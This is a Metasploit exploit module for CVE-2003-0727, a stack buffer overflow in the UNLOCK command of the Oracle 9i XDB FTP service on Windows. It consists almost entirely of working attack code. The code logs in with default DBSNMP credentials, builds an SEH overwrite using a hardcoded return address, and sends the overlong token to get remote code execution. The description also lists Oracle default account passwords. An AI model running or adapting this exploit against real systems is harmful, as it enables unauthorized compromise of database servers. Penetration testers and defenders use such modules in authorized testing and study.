Oracle 9i XDB (Windows x86) – FTP UNLOCK Overflow (Metasploit)
## # $Id: oracle9i_xdb_ftp_unlock.rb 10559 2010-10-05 23:41:17Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Ftp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Oracle 9i XDB FTP UNLOCK Overflow (win32)', 'Description' => %q{ By passing an overly long token to the UNLOCK command, a stack based buffer overflow occurs. David Litchfield, has illustrated multiple vulnerabilities in the Oracle 9i XML Database (XDB), during a seminar on "Variations in exploit methods between Linux and Windows" presented at the Blackhat conference. Oracle9i includes a number of default accounts, including dbsnmp:dbsmp, scott:tiger, system:manager, and sys:change_on_install. }, 'Author' => [ 'MC', 'David Litchfield <david@ngssoftware.com>' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10559 $', 'Platform' => [ 'win' ], 'References' => [ [ 'CVE', '2003-0727'], [ 'OSVDB', '2449'], [ 'BID', '8375'], [ 'URL', 'http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf'], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Privileged' => true, 'Payload' => { 'Space' => 800, 'BadChars' => "\x00\x20\x0a\x0d", 'StackAdjustment' => -3500, }, 'Targets' => [ [ 'Oracle 9.2.0.1 Universal', { 'Ret' => 0x60616d46, # oraclient9.dll (pop/pop/ret) }, ], ], 'DisclosureDate' => 'Aug 18 2003', 'DefaultTarget' => 0)) register_options([ Opt::RPORT(2100), OptString.new('FTPUSER', [ false, 'The username to authenticate as', 'DBSNMP']), OptString.new('FTPPASS', [ false, 'The password to authenticate with', 'DBSNMP']), ], self.class ) end def check connect disconnect if (banner =~ /9\.2\.0\.1\.0/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect_login print_status("Trying target #{target.name}...") buf = rand_text_english(1130, payload_badchars) seh = generate_seh_payload(target.ret) buf[322, seh.length] = seh send_cmd( ['UNLOCK', '/', buf] , false ) handler disconnect end end |